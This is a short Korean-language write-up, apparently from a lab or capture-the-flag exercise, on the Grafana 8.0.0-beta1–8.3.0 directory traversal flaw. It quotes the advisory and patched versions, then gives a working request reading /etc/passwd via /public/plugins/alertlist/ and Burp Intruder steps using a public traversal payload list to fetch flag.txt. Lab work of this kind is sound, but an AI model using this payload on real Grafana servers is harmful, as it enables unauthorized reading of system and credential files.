
Grafana 8.0.0-beta1부터 8.3.0까지의 버전(패치된 버전 제외)은 디렉터리 트래버설(directory traversal) 취약점에 영향을 받아 로컬 파일에 접근할 수 있습니다.
Grafana는 모니터링 및 관측 가능성을 위한 오픈소스 플랫폼입니다. Grafana 8.0.0-beta1부터 8.3.0까지의 버전(패치된 버전 제외)은 디렉터리 트래버설 취약점에 영향을 받아 로컬 파일에 접근할 수 있습니다. 취약한 URL 경로는 다음과 같습니다: <grafana_host_url>/public/plugins//, 여기서 는 설치된 플러그인의 플러그인 ID입니다. Grafana Cloud는 한 번도 취약했던 적이 없습니다. 사용자는 패치된 버전인 8.0.7, 8.1.8, 8.2.7 또는 8.3.1로 업그레이드하는 것이 좋습니다. GitHub Security Advisory에는 취약한 URL 경로, 완화 방법 및 공개 일정에 대한 자세한 정보가 포함되어 있습니다.
Burp Suite 사용
리피터로 GET을 보냅니다.
GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
그런 다음 인트루더로 보냅니다. GET /public/plugins/alertlist/../../../../../../../../etc/passwd HTTP/1.1
스나이퍼를 사용하여 공격 GitHub에서 페이로드 복사: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Directory%20Traversal
페이로드 처리 Match [{FILE}]을(를) {flag.txt}로(으로) 대체